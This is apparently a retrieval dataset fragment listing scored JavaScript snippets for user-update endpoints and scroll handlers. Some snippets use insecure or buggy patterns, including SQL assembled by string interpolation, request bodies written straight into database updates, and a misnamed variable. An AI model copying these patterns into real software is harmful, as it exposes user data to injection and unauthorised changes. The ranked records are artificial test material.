.catch(error => res.status(400).send(error));\n}", "title": "" }, { "docid": "590d1f2d9a4a69fe6026adef1e15a3d4", "score": "0.68720776", "text": "static async update(username, userData) {\n if (userData.password) {\n userData.password = await bcrypt.hash(userData.password, BCRYPT_WORK_FACTOR);\n }\n const { query, values } = partialUpdate(\"users\", userData, \"username\", username);\n const result = await db.query(query, values);\n const user = result.rows[0];\n\n if (!user) {\n throw new ExpressError(`There exists no user '${username}'`, 404);\n }\n\n delete user.password;\n delete user.is_admin;\n\n return user;\n }", "title": "" }, { "docid": "a9aede4f8023a8a700ef133620e81c2d", "score": "0.6867537", "text": "async function updateUser(req, res) {\n let userToUpdate = req.params.userId;\n let newuserInfo = req.body.movie;\n await userModel.findByIdAndUpdate(\n userToUpdate,\n newUserInfo,\n (err, doc) => {\n if (err) throw err;\n console.log(\"User info updated successfully:\", doc);\n res.status(200).json({\n success: true,\n data: doc,\n message: \"user updated successfully\",\n });\n }\n );\n}", "title": "" }, { "docid": "9aa6a0a792051d4d6362dbc07c9e436f", "score": "0.68672866", "text": "async updateUser (req, res, next) {\n try {\n const userData = req.body;\n const data = await userService.updateUser(userData.id, userData);\n\n if (data.status === StatusCodes.BAD_REQUEST) {\n return res\n .status(StatusCodes.BAD_REQUEST)\n .json({\n status: data.message,\n data: data.data,\n });\n }\n\n return res\n .status(StatusCodes.OK)\n .json({\n status: data.message,\n data: data.data\n });\n } catch (err) {\n next(err);\n }\n }", "title": "" }, { "docid": "662e8c11d0608c476a264ae75ce5cdde", "score": "0.68656045", "text": "updateUser({ params, body }, res) {\n User.findOneAndUpdate({ _id: params.id }, body, { new: true, runValidators: true })\n .then(dbUserData => {\n if (!dbUserData) {\n res.status(404).json({ message: 'No user found with this id.' });\n return;\n }\n res.json(dbUserData);\n })\n .catch(err => res.status(400).json(err));\n }", "title": "" }, { "docid": "180260f918aa544eb09751e123243b5e", "score": "0.6849303", "text": "updateUserInfo(user_username,user){\n return db('user').where('user_username',user_username).update(user)\n }", "title": "" }, { "docid": "d7d9a2376342a200237e680b7ac53356", "score": "0.684472", "text": "function updateUser(req, res){\r\n\tvar userId = req.params.id;\r\n\tvar update = req.body;\r\n\r\n\t//eliminamos la password del objeto update, porque deberemos hacerlo mejor en un método aparte\r\n\t//update.password = undefined;\r\n\tdelete update.password;\r\n\r\n\tif(userId != req.user.sub){\r\n\t\treturn res.status(500).send({message: 'No tienes permiso para actualizar este usuario'});\r\n\t}\r\n\r\n\tUser.find({\r\n\t\t$or: [\r\n\t\t\t{email: update.email.toLowerCase()},\r\n\t\t\t{nick: update.nick.toLowerCase()}\r\n\t\t]\r\n\t}).exec((err, users) => {\r\n\r\n\t\tvar user_isset = false;\r\n\t\tusers.forEach((user) => {\r\n\t\t\tif(user && user._id != userId) user_isset = true;\r\n\t\t});\r\n\r\n\t\tif(user_isset) return res.status(404).send({message: 'Los datos ya están en uso'});\r\n\r\n\t\t//con el tecer parámetro, new, indicamos si queremos que en la respuesta del callback nos devuelva el nuevo objeto, o el anterior actualizado\r\n\t\tUser.findByIdAndUpdate(userId, update, {new: true}, (err, userUpdate) => {\r\n\t\t\tif(err) return res.status(500).send({message: 'Error en la petición'});\r\n\r\n\t\t\tif(!userUpdate) return res.status(404).send({message: 'No se ha podido actualizar el usuario'});\r\n\r\n\t\t\treturn res.status(200).send({user: userUpdate});\r\n\t\t});\r\n\t});\r\n}", "title": "" }, { "docid": "704287ab1b41e9bc07da2021ea8247b6", "score": "0.6844345", "text": "function updateUserProfile(isValid) {\n if (isValid) {\n $scope.success = $scope.error = null;\n var user = new Users($scope.user);\n user.$update(function (response) {\n $scope.success = true;\n Authentication.user = response;\n _notifySuccess();\n });\n } else {\n $scope.submitted = true;\n }\n }", "title": "" }, { "docid": "19a93802c26ddd8a0b1e05b75f254df1", "score": "0.6843908", "text": "updateUser(user) {\n axios.put('/users', {user})\n .then(res => {\n if (res.data.successful) {\n alert(`User ${user.name} updated successfully`);\n this.fetchUsers();\n } else alert(`User ${user.name} failed to update because ${res.data.body}`);\n })\n .catch(error => {\n alert(`User ${user.name} failed to update because ${error}`);\n })\n }", "title": "" }, { "docid": "1ea9e1cabbcc94bc67c38d569b59d6ff", "score": "0.6842777", "text": "updateUser(id_user, user_content) {\r\n\t\treturn API.put(\"pm\", \"/update-users/\" + id_user, {\r\n\t\t\tbody: user_content\r\n\t\t});\r\n\t}", "title": "" }, { "docid": "57d116a52376fa9b067c43cb268f441f", "score": "0.6821401", "text": "updateUser({params, body}, res) {\n User.findOneAndUpdate({_id: params.id}, body, {new:true})\n .then(dbUserData => {\n if(!dbUserData) {\n res.status(404).json({message: 'no users with that identification!'});\n return;\n }\n res.json(dbUserData);\n })\n .catch(err => res.status(400).json(err));\n }", "title": "" }, { "docid": "2ef0a7703c13ca8e41f82f8aa6a5e00c", "score": "0.6819696", "text": "function updateUser(req, res) {\n var author = req.body.id;\n var token = req.body.token;\n\n // check token and userId match with database\n tokenService.checkToken(author, token)\n .then(function (subMsg) {\n console.log(\"validate user authenticate success\");\n\n userService.update(author, req.body)\n .then(function () {\n res.sendStatus(200);\n })\n .catch(function (err) {\n res.status(400).send(err);\n });\n }).catch(function (subErr) {\n res.status(400).send(subErr)\n });\n}", "title": "" }, { "docid": "2c10243c059b73313ef74f918d3125f5", "score": "0.68142366", "text": "function updateUser(userId, update, callback) {\n User.findOneAndUpdate({_id: userId}, {$set: update}, {new: true}, function(err, doc) {\n if (err) {\n console.log(\"Something wrong when updating data!\");\n if (callback)\n callback(\"FAILED\", \"Something wrong when updating data!\");\n }\n else {\n console.log(doc);\n if (callback)\n callback(\"SUCCESS\", \"User updated!\", doc);\n }\n });\n}", "title": "" }, { "docid": "3971e331c2ef63afca382b2ca0e2dc78", "score": "0.68101794", "text": "updateUser({ body, params }, res) {\n // include new: true to return User model post update\n // include runValidators: to run any validation requirements on a PUT request\n User.findByIdAndUpdate(params.userId, body,\n {\n new: true,\n runValidators: true\n })\n .then(dbUserData => {\n dbUserData ?\n res.status(200).json(dbUserData) :\n res.status(404).json({ message: \"No user found with that id!\" })\n })\n .catch(err => {\n console.log(err);\n res.status(500).json(err);\n })\n }", "title": "" }, { "docid": "616bbda9be4edc1052350931f4fbecdd", "score": "0.6808988", "text": "function editUser(e) {\n if (e.preventDefault) e.preventDefault();\n if (this.name.value && this.email.value) {\n var editUser = JSON.parse(rest.get('users', this.id.value));//JSON.parse(getUser(this.id.value));\n editUser.name = this.name.value;\n editUser.email = this.email.value;\n console.log(editUser);\n rest.put('users', editUser);//updateUser(editUser);\n };\n this.id.value = '';\n this.name.value = '';\n this.email.value = '';\n location.reload();\n return false;\n }", "title": "" }, { "docid": "c4ec1dcbbdb07e6a68623cee8ffadb98", "score": "0.6796525", "text": "static async updateUser(ctx) {\n try {\n return new Promise((resolve, reject) => {\n let newuser = ctx.request.body;\n const query = `\n UPDATE user\n SET student_id = ?,\n username = ?\n WHERE user_id = ?\n `;\n db.query({\n sql: query,\n values:[newuser.student_id,newuser.username,ctx.params.user_id]\n }, (err, res) => {\n if(err){\n reject(err);\n }\n\n ctx.body = res;\n ctx.status = 200;\n resolve();\n });\n });\n } catch(error) {\n console.log('Error in userController.');\n }\n }", "title": "" }, { "docid": "efefd11547c6558c73514ffb0aeef496", "score": "0.6789243", "text": "async function updateExistingUser(user, profile) {\n logger.verbose(`Updating existing user with login=${profile.login} id=${user.id}`);\n try {\n // We cannot update an imported password after user is ACTIVE\n delete user.credentials;\n // When updating the user, do not overwrite the recovery answer\n delete profile.stormpathMigrationRecoveryAnswer;\n\n Object.assign(user.profile, profile);\n const updated = await rs.post({\n url: `${USERS_PATH}/${user.id}`,\n body: user\n });\n logger.updated(`User id=${user.id} login=${profile.login}`);\n return updated;\n } catch (err) {\n throw new ApiError(`Failed to update okta user id=${user.id} login=${profile.login}`, err);\n }\n}", "title": "" }, { "docid": "14e2741fda14ad3b8b958cdd300f59ac", "score": "0.67855495", "text": "updateUser({ params, body }, res) {\n User.findOneAndUpdate({ _id: params.id }, body, { new: true})\n .then(dbUserData => {\n if (!dbUserData) {\n res.status(404).json({ message: 'No user found with this id!' });\n return;\n }\n res.json(dbUserData);\n })\n .catch(err => res.status(400).json(err));\n }", "title": "" }, { "docid": "794546da7eef780fd8307624a0d00c73", "score": "0.6772522", "text": "function updateUser(userId,lName,fName,email,nNumber,callback) {\n\n var table = 'users';\n var columns = ['lName','fName','email','nNumber'];\n var values = [`'${lName}'`,`'${fName}'`,`'${email}'`,`'${nNumber}'`];\n var params = ['userId'];\n var parValues = [`${userId}`];\n\n //Add the new user to the database\n SQL.update(table,columns,values,params,parValues, function(err,done) {\n if (err) return callback(err,undefined,undefined);\n\n return callback(undefined,true, userId);\n });\n}", "title": "" }, { "docid": "8e35afaa9900b95ce85d11a3187cb8b4", "score": "0.67682797", "text": "update(editedUser) {\n return fetch(`${remoteURL}/users/${editedUser.id}`, {\n method: \"PUT\",\n headers: {\n \"Content-Type\": \"application/json\"\n },\n body: JSON.stringify(editedUser)\n }).then(data => data.json());\n }", "title": "" }, { "docid": "8664010373b65c511ca4433f74b9481d", "score": "0.67676103", "text": "async editUser(req, res) {\n console.log('Enter Edit')\n try {\n req.user.fname = req.body.fname;\n req.user.lname = req.body.lname;\n req.user.phone = req.body.phone;\n req.user.about = req.body.about;\n req.user.email = req.body.email;\n console.log(req.body.fname)\n await req.user.save()\n res.status(200).send({ \"status\": \"success\", msg: \"User Updated\", user: req.user })\n } catch (error) {\n res.status(500).json(error);\n }\n }", "title": "" }, { "docid": "9b0b6a1a393a74d9ae8dbc3bab8608a6", "score": "0.67635906", "text": "async updateUser (user, tokenInfo) {\n\t\tthis.accessToken = tokenInfo.token;\n\t\tconst accessTokens = user.get('accessTokens') || {};\n\t\tObject.keys(accessTokens).forEach(type => {\n\t\t\tif (type === 'rst' || type === 'conf') {\n\t\t\t\tdelete accessTokens[type];\n\t\t\t}\n\t\t\telse {\n\t\t\t\taccessTokens[type].invalidated = true;\n\t\t\t}\n\t\t});\n\t\taccessTokens.web = {\n\t\t\ttoken: tokenInfo.token,\n\t\t\tminIssuance: tokenInfo.minIssuance\n\t\t};\n\t\tconst op = {\n\t\t\t'$set': {\n\t\t\t\tpasswordHash: this.passwordHash,\n\t\t\t\taccessTokens: accessTokens\n\t\t\t}\n\t\t};\n\t\tawait this.request.data.users.applyOpById(user.id, op);\n\t}", "title": "" }, { "docid": "6aa05bcd4b11d7c345a36553588f608f", "score": "0.6759577", "text": "async function put(context, req) {\r\n try {\r\n let id = req.query.id;\r\n let user = req.body;\r\n let updatedUser = await db.update(id, user);\r\n context.res = {\r\n body: updatedUser,\r\n };\r\n } catch (error) {\r\n context.res = {\r\n status: 400,\r\n body: `No way - ${error.message}`,\r\n };\r\n }\r\n }", "title": "" }, { "docid": "86f92d799f996bd6e7a094cf34001672", "score": "0.6758891", "text": "function updateUser() {\n const objectToSave = {\n \"email\": $(\"#emailRegisterForm\").val(),\n \"password\": $(\"#passwordRegisterForm\").val(),\n \"name\": $(\"#nameRegisterForm\").val(),\n \"language\": ($(\"#languagePtRegisterForm\").is(':checked'))? 'PT': 'EN',\n \"image\": \"\"\n };\n const userToUpdate = JSON.parse(localStorage.getItem(\"user\"));\n // Makes the API request, transforming the object to a string and setting content-type to JSON\n $.ajax({\n url: \"http://localhost:8080/api/user/\" + parseInt(userToUpdate.userId),\n type: 'PUT',\n contentType: \"application/json\",\n data: JSON.stringify(objectToSave),\n success: function (result) {\n // If the error is true, something wrong happen with the processing of the request, \n // eg. duplicate emails, and gives the user an error message\n // If no error, shows a success message\n if (result[\"error\"]) {\n $(\".success-account\").hide();\n $(\".error-account\").show();\n $(\".error-account\").text(result[\"description\"]);\n } else {\n visualChanges(false);\n $(\".error-account\").hide();\n $(\".success-account\").show();\n $(\".success-account\").text(result[\"description\"]);\n localStorage.setItem(\"user\", JSON.stringify(result[\"data\"]));\n }\n }, error: function (data) {\n console.log(\"Error: \" + data);\n }\n });\n }", "title": "" } ]
64297d3c16436b10af504ec3855a00ad
handleScroll update viewport in response to scroll events
[ { "docid": "8e70380ab802bba384b419c0eefde4ea", "score": "0.71483433", "text": "handleScroll(x, y) {\n this._scroll = { x: x, y: y };\n this.viewport = svgHelpers.boxPoints(\n $(this.selector).offset().left,\n $(this.selector).offset().top,\n $(this.selector).width(),\n $(this.selector).height());\n }", "title": "" } ]
[ { "docid": "abcdc9e094d358a8899299370f208fd2", "score": "0.771751", "text": "handleWindowScroll() {\n const sectionHTMLElement = this.sectionHTMLElement.current;\n const { top } = sectionHTMLElement.getBoundingClientRect();\n\n const shouldUpdateForScroll = Section.insideScrollRangeForUpdates.call(this, top);\n if ( shouldUpdateForScroll ) {\n\n this.updateParallaxForScrollPosition(top);\n }\n }", "title": "" }, { "docid": "9f55af048337bda91ebae885cb547e5d", "score": "0.76225346", "text": "function handleScroll(e) {\n didScroll = true;\n }", "title": "" }, { "docid": "5dd554783126c01b88b7303471826184", "score": "0.7279864", "text": "function handleScroll() {\n setScrollY(window.scrollY)\n }", "title": "" }, { "docid": "fda83cfd3caea1bd05d9a102f3bcb2f9", "score": "0.7279791", "text": "[onScroll](event) {\n\t\tconst self = this;\n\n\t\tevent.preventDefault();\n\n\t\tself[CURRENT_SCROLL_OFFSET] = self[CONTENT_CONTAINER].container()[self[EXTENT_SCROLL_ORIGIN]];\n\n\t\tif (self[CONTENT_CONTAINER].container()[self[EXTENT_SCROLL_TOTAL]] - (self[CURRENT_SCROLL_OFFSET] + self.borderHeight()) < self.nearEndThreshold()) {\n\t\t\tself.onNearEnd().trigger();\n\t\t}\n\n\t\tself[render]();\n\t}", "title": "" }, { "docid": "56ea43cf98fd4ff1b93762bbc24ad441", "score": "0.71840495", "text": "function handleWindowScrolled() {\n updateParallax();\n}", "title": "" }, { "docid": "af58977f9cd5240eafca376e3eeda0fc", "score": "0.7177472", "text": "onScroll(e) {\n const {\n itemHeight,\n totalBufferMargin\n } = this.props;\n this.update(e.target,\n this.state.nodes,\n itemHeight,\n totalBufferMargin);\n }", "title": "" }, { "docid": "d43fd8c5ac2bdced8433ab8d3a210c57", "score": "0.7154018", "text": "onScroll(event) {\n this.lastScrollPosition = this.scrollPosition;\n this.scrollPosition = document.scrollingElement.scrollTop;\n\n this.setHeaderState();\n this.setDirectionState();\n }", "title": "" }, { "docid": "7eed4315e3d2ef25b8a8841e9a0b7dab", "score": "0.70550096", "text": "handleScroll() {\n this.props.onScroll();\n }", "title": "" }, { "docid": "2ea9f05704d7a475b5fd9f757baa2705", "score": "0.7046046", "text": "onUpdateViewport(event) {\n this.updateCanvas();\n }", "title": "" }, { "docid": "5efbf7815b80da0011c1b66ece707c03", "score": "0.70400417", "text": "function handleScroll() {\n if(vPort.hasClass(\"view-transitioning\")) {\n return;\n }\n var innerHeight = window.innerHeight,\n currRoute = App.getCurrentRoute(),\n ui, contentHeight, scrollTop;\n\n if(!currRoute) {return;}\n\n ui = App.getCurrentRoute().ui;\n contentHeight = ui.get(0).offsetHeight;\n scrollTop = document.body.scrollTop;\n\n if(contentHeight - scrollTop === innerHeight) {\n console.log([contentHeight, scrollTop, innerHeight].join(\" \"));\n ui.dispatch(\"scrolledtobottom\");\n }\n }", "title": "" }, { "docid": "74763e2582acec3f3d597bed94c8a7b6", "score": "0.7039371", "text": "function handleScroll() {\n const bottomDiff = document.documentElement.offsetHeight - (window.innerHeight + document.documentElement.scrollTop);\n if (bottomDiff > 300) {\n needToHitApi = true;\n return;\n }\n if (needToHitApi) setPage(page => page+1);\n needToHitApi = false;\n }", "title": "" }, { "docid": "69409603aa38508c048b430f8ff5dd0d", "score": "0.7030628", "text": "function onScroll() {\n\t\t// unique tick id\n\t\t++ticks;\n\n\t\t// viewport rectangle\n\t\tvar top = jWindow.scrollTop(),\n\t\t\tleft = jWindow.scrollLeft(),\n\t\t\tright = left + jWindow.width(),\n\t\t\tbottom = top + jWindow.height();\n\n\t\t// determine which elements are in view\n\t\tvar intersections = findElements(top+offset.top, right+offset.right, bottom+offset.bottom, left+offset.left);\n\t\t$.each(intersections, function(i, element) {\n\n\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\tif (typeof lastTick != 'number') {\n\t\t\t\t// entered into view\n\t\t\t\telement.triggerHandler('scrollSpy:enter');\n\t\t\t}\n\n\t\t\t// update tick id\n\t\t\telement.data('scrollSpy:ticks', ticks);\n\t\t});\n\n\t\t// determine which elements are no longer in view\n\t\t$.each(elementsInView, function(i, element) {\n\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\tif (typeof lastTick == 'number' && lastTick !== ticks) {\n\t\t\t\t// exited from view\n\t\t\t\telement.triggerHandler('scrollSpy:exit');\n\t\t\t\telement.data('scrollSpy:ticks', null);\n\t\t\t}\n\t\t});\n\n\t\t// remember elements in view for next tick\n\t\telementsInView = intersections;\n\t}", "title": "" }, { "docid": "6a3171328228ee473444ce11622992b3", "score": "0.7016483", "text": "_listenToScrollEvents() {\n this._viewportScrollSubscription = this._dragDropRegistry\n .scrolled(this._getShadowRoot())\n .subscribe(event => {\n if (this.isDragging()) {\n const scrollDifference = this._parentPositions.handleScroll(event);\n if (scrollDifference) {\n this._sortStrategy.updateOnScroll(scrollDifference.top, scrollDifference.left);\n }\n }\n else if (this.isReceiving()) {\n this._cacheParentPositions();\n }\n });\n }", "title": "" }, { "docid": "368a86c41fcc74d76362e10c3e560e5f", "score": "0.701098", "text": "function viewportScroll () {\n if (needsScroll) {\n viewport.scrollTop = t0 - y1 + y0;\n viewport.scrollLeft = l0 - x1 + x0;\n needsScroll = false;\n }\n }", "title": "" }, { "docid": "45839a1e81b11e2fbdef07914c67a66f", "score": "0.6995679", "text": "function onScroll( _e ){\n\t// console.log(\"-- onScroll --\");\n\tdidscroll = true;\n}", "title": "" }, { "docid": "7df6659baac01765c813d4b8bf903f98", "score": "0.6986099", "text": "function onScroll() {\n\t\t\t// unique tick id\n\t\t\t++ticks;\n\n\t\t\t// viewport rectangle\n\t\t\tvar top = jWindow.scrollTop(),\n\t\t\t\tleft = jWindow.scrollLeft(),\n\t\t\t\tright = left + jWindow.width(),\n\t\t\t\tbottom = top + jWindow.height();\n\n\t\t\t// determine which elements are in view\n\t// + 60 accounts for fixed nav\n\t\t\tvar intersections = findElements(top+offset.top + 200, right+offset.right, bottom+offset.bottom, left+offset.left);\n\t\t\t$.each(intersections, function(i, element) {\n\n\t\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\t\tif (typeof lastTick != 'number') {\n\t\t\t\t\t// entered into view\n\t\t\t\t\telement.triggerHandler('scrollSpy:enter');\n\t\t\t\t}\n\n\t\t\t\t// update tick id\n\t\t\t\telement.data('scrollSpy:ticks', ticks);\n\t\t\t});\n\n\t\t\t// determine which elements are no longer in view\n\t\t\t$.each(elementsInView, function(i, element) {\n\t\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\t\tif (typeof lastTick == 'number' && lastTick !== ticks) {\n\t\t\t\t\t// exited from view\n\t\t\t\t\telement.triggerHandler('scrollSpy:exit');\n\t\t\t\t\telement.data('scrollSpy:ticks', null);\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t// remember elements in view for next tick\n\t\t\telementsInView = intersections;\n\t\t}", "title": "" }, { "docid": "896d1890db97c0f216bc5e21d43615ea", "score": "0.6974667", "text": "function onScroll() {\n\t\t// unique tick id\n\t\t++ticks;\n\n\t\t// viewport rectangle\n\t\tvar top = jWindow.scrollTop(),\n\t\t\tleft = jWindow.scrollLeft(),\n\t\t\tright = left + jWindow.width(),\n\t\t\tbottom = top + jWindow.height();\n\n\t\t// determine which elements are in view\n// + 60 accounts for fixed nav\n\t\tvar intersections = findElements(top+offset.top + 200, right+offset.right, bottom+offset.bottom, left+offset.left);\n\t\t$.each(intersections, function(i, element) {\n\n\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\tif (typeof lastTick != 'number') {\n\t\t\t\t// entered into view\n\t\t\t\telement.triggerHandler('scrollSpy:enter');\n\t\t\t}\n\n\t\t\t// update tick id\n\t\t\telement.data('scrollSpy:ticks', ticks);\n\t\t});\n\n\t\t// determine which elements are no longer in view\n\t\t$.each(elementsInView, function(i, element) {\n\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\tif (typeof lastTick == 'number' && lastTick !== ticks) {\n\t\t\t\t// exited from view\n\t\t\t\telement.triggerHandler('scrollSpy:exit');\n\t\t\t\telement.data('scrollSpy:ticks', null);\n\t\t\t}\n\t\t});\n\n\t\t// remember elements in view for next tick\n\t\telementsInView = intersections;\n\t}", "title": "" }, { "docid": "896d1890db97c0f216bc5e21d43615ea", "score": "0.6974667", "text": "function onScroll() {\n\t\t// unique tick id\n\t\t++ticks;\n\n\t\t// viewport rectangle\n\t\tvar top = jWindow.scrollTop(),\n\t\t\tleft = jWindow.scrollLeft(),\n\t\t\tright = left + jWindow.width(),\n\t\t\tbottom = top + jWindow.height();\n\n\t\t// determine which elements are in view\n// + 60 accounts for fixed nav\n\t\tvar intersections = findElements(top+offset.top + 200, right+offset.right, bottom+offset.bottom, left+offset.left);\n\t\t$.each(intersections, function(i, element) {\n\n\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\tif (typeof lastTick != 'number') {\n\t\t\t\t// entered into view\n\t\t\t\telement.triggerHandler('scrollSpy:enter');\n\t\t\t}\n\n\t\t\t// update tick id\n\t\t\telement.data('scrollSpy:ticks', ticks);\n\t\t});\n\n\t\t// determine which elements are no longer in view\n\t\t$.each(elementsInView, function(i, element) {\n\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\tif (typeof lastTick == 'number' && lastTick !== ticks) {\n\t\t\t\t// exited from view\n\t\t\t\telement.triggerHandler('scrollSpy:exit');\n\t\t\t\telement.data('scrollSpy:ticks', null);\n\t\t\t}\n\t\t});\n\n\t\t// remember elements in view for next tick\n\t\telementsInView = intersections;\n\t}", "title": "" }, { "docid": "7262505f3cb778f5d333df895940edd6", "score": "0.69365734", "text": "onScrollHandler_() {\n this.boundStopScroll_();\n this.inScroll_ = true;\n if (!this.measure_) {\n this.schedulePass_();\n }\n }", "title": "" }, { "docid": "4e246259a2d352f02931c174ac2e077b", "score": "0.68578786", "text": "function handleScroll() {\n const yPos = window.scrollY;\n const isScrollingUp = yPos < lastYPos;\n\n // Show when current y position higher than previous - scrolling up\n setShouldShowActions(isScrollingUp);\n setLastYPos(yPos);\n }", "title": "" }, { "docid": "724d19117ba25255de59ae2927de1bcf", "score": "0.6851007", "text": "function onScroll(scrollOffset) {\n\t\t// unique tick id\n\t\t++ticks;\n\n\t\t// viewport rectangle\n\t\tvar top = jWindow.scrollTop(),\n\t\t left = jWindow.scrollLeft(),\n\t\t right = left + jWindow.width(),\n\t\t bottom = top + jWindow.height();\n\n\t\t// determine which elements are in view\n\t\tvar intersections = findElements(top + offset.top + scrollOffset || 200, right + offset.right, bottom + offset.bottom, left + offset.left);\n\t\t$.each(intersections, function (i, element) {\n\n\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\tif (typeof lastTick != 'number') {\n\t\t\t\t// entered into view\n\t\t\t\telement.triggerHandler('scrollSpy:enter');\n\t\t\t}\n\n\t\t\t// update tick id\n\t\t\telement.data('scrollSpy:ticks', ticks);\n\t\t});\n\n\t\t// determine which elements are no longer in view\n\t\t$.each(elementsInView, function (i, element) {\n\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\tif (typeof lastTick == 'number' && lastTick !== ticks) {\n\t\t\t\t// exited from view\n\t\t\t\telement.triggerHandler('scrollSpy:exit');\n\t\t\t\telement.data('scrollSpy:ticks', null);\n\t\t\t}\n\t\t});\n\n\t\t// remember elements in view for next tick\n\t\telementsInView = intersections;\n\t}", "title": "" }, { "docid": "bcd955188e3c4354fb8493f3f301c850", "score": "0.68495715", "text": "function scrollHandler() {\n var scrollTop = this.scrollTop || this.scrollY;\n if (options.performantScroll) refreshDomElm(scrollTop);\n if (scope.infiniteScroll) infiniteScroll(scrollTop);\n }", "title": "" }, { "docid": "b8ab29d62f5aaa28daad0210674444ea", "score": "0.6848464", "text": "function onScroll(scrollOffset) {\n\t\t// unique tick id\n\t\t++ticks;\n\n\t\t// viewport rectangle\n\t\tvar top = jWindow.scrollTop(),\n\t\t\tleft = jWindow.scrollLeft(),\n\t\t\tright = left + jWindow.width(),\n\t\t\tbottom = top + jWindow.height();\n\n\t\t// determine which elements are in view\n\t\tvar intersections = findElements(top+offset.top + scrollOffset || 200, right+offset.right, bottom+offset.bottom, left+offset.left);\n\t\t$.each(intersections, function(i, element) {\n\n\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\tif (typeof lastTick != 'number') {\n\t\t\t\t// entered into view\n\t\t\t\telement.triggerHandler('scrollSpy:enter');\n\t\t\t}\n\n\t\t\t// update tick id\n\t\t\telement.data('scrollSpy:ticks', ticks);\n\t\t});\n\n\t\t// determine which elements are no longer in view\n\t\t$.each(elementsInView, function(i, element) {\n\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\tif (typeof lastTick == 'number' && lastTick !== ticks) {\n\t\t\t\t// exited from view\n\t\t\t\telement.triggerHandler('scrollSpy:exit');\n\t\t\t\telement.data('scrollSpy:ticks', null);\n\t\t\t}\n\t\t});\n\n\t\t// remember elements in view for next tick\n\t\telementsInView = intersections;\n\t}", "title": "" }, { "docid": "b8ab29d62f5aaa28daad0210674444ea", "score": "0.6848464", "text": "function onScroll(scrollOffset) {\n\t\t// unique tick id\n\t\t++ticks;\n\n\t\t// viewport rectangle\n\t\tvar top = jWindow.scrollTop(),\n\t\t\tleft = jWindow.scrollLeft(),\n\t\t\tright = left + jWindow.width(),\n\t\t\tbottom = top + jWindow.height();\n\n\t\t// determine which elements are in view\n\t\tvar intersections = findElements(top+offset.top + scrollOffset || 200, right+offset.right, bottom+offset.bottom, left+offset.left);\n\t\t$.each(intersections, function(i, element) {\n\n\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\tif (typeof lastTick != 'number') {\n\t\t\t\t// entered into view\n\t\t\t\telement.triggerHandler('scrollSpy:enter');\n\t\t\t}\n\n\t\t\t// update tick id\n\t\t\telement.data('scrollSpy:ticks', ticks);\n\t\t});\n\n\t\t// determine which elements are no longer in view\n\t\t$.each(elementsInView, function(i, element) {\n\t\t\tvar lastTick = element.data('scrollSpy:ticks');\n\t\t\tif (typeof lastTick == 'number' && lastTick !== ticks) {\n\t\t\t\t// exited from view\n\t\t\t\telement.triggerHandler('scrollSpy:exit');\n\t\t\t\telement.data('scrollSpy:ticks', null);\n\t\t\t}\n\t\t});\n\n\t\t// remember elements in view for next tick\n\t\telementsInView = intersections;\n\t}", "title": "" }, { "docid": "1d1eba9efac33a99027502a40cf3889e", "score": "0.6832964", "text": "function qodefOnWindowScroll() {\n\n }", "title": "" }, { "docid": "85a740b188910e9035deffc93465d094", "score": "0.6817765", "text": "_listenToScrollEvents() {\n this._viewportScrollSubscription = this._dragDropRegistry.scroll.subscribe(event => {\n if (this.isDragging()) {\n const scrollDifference = this._parentPositions.handleScroll(event);\n if (scrollDifference) {\n // Since we know the amount that the user has scrolled we can shift all of the\n // client rectangles ourselves. This is cheaper than re-measuring everything and\n // we can avoid inconsistent behavior where we might be measuring the element before\n // its position has changed.\n this._itemPositions.forEach(({ clientRect }) => {\n adjustClientRect(clientRect, scrollDifference.top, scrollDifference.left);\n });\n // We need two loops for this, because we want all of the cached\n // positions to be up-to-date before we re-sort the item.\n this._itemPositions.forEach(({ drag }) => {\n if (this._dragDropRegistry.isDragging(drag)) {\n // We need to re-sort the item manually, because the pointer move\n // events won't be dispatched while the user is scrolling.\n drag._sortFromLastPointerPosition();\n }\n });\n }\n }\n else if (this.isReceiving()) {\n this._cacheParentPositions();\n }\n });\n }", "title": "" }, { "docid": "b54fe6bb90e6844e76d20c6fc8fd6f4f", "score": "0.68060255", "text": "function ViewportScrollPosition() { }", "title": "" }, { "docid": "b889d9b0130c2726e62c2d09e8792f50", "score": "0.6794521", "text": "scrollHandler(e){\n this.scrollY = window.scrollY;\n this.img_data.map(img =>{\n \n img.mesh.material.uniforms.scroll_state.value = true;\n })\n \n\n\n // Set a timeout to run after scrolling ends\n setTimeout(()=>{ \n this.img_data.map(img =>{\n img.mesh.material.uniforms.scroll_state.value = false;\n })\n }, 30);\n }", "title": "" }, { "docid": "2d558b3e6fafb44e2b982c68c7ba3a78", "score": "0.6781686", "text": "_updateOnScroll(event) {\n const scrollDifference = this._parentPositions.handleScroll(event);\n if (scrollDifference) {\n const target = event.target;\n // ClientRect dimensions are based on the scroll position of the page and its parent node so\n // we have to update the cached boundary ClientRect if the user has scrolled. Check for\n // the `document` specifically since IE doesn't support `contains` on it.\n if (this._boundaryRect && (target === this._document ||\n (target !== this._boundaryElement && target.contains(this._boundaryElement)))) {\n adjustClientRect(this._boundaryRect, scrollDifference.top, scrollDifference.left);\n }\n this._pickupPositionOnPage.x += scrollDifference.left;\n this._pickupPositionOnPage.y += scrollDifference.top;\n // If we're in free drag mode, we have to update the active transform, because\n // it isn't relative to the viewport like the preview inside a drop list.\n if (!this._dropContainer) {\n this._activeTransform.x -= scrollDifference.left;\n this._activeTransform.y -= scrollDifference.top;\n this._applyRootElementTransform(this._activeTransform.x, this._activeTransform.y);\n }\n }\n }", "title": "" }, { "docid": "2959639612c50f825b19d18da1ff13b3", "score": "0.67676526", "text": "static _onScroll() {\n var scrollTop = window.scrollY;\n var i = 0;\n for (; i < ScrollWatcher.elements.length; i++) {\n ScrollWatcher.elements[i].updateProgress(scrollTop);\n }\n }", "title": "" }, { "docid": "055aa47805d3f89431fe7bbfb16e0163", "score": 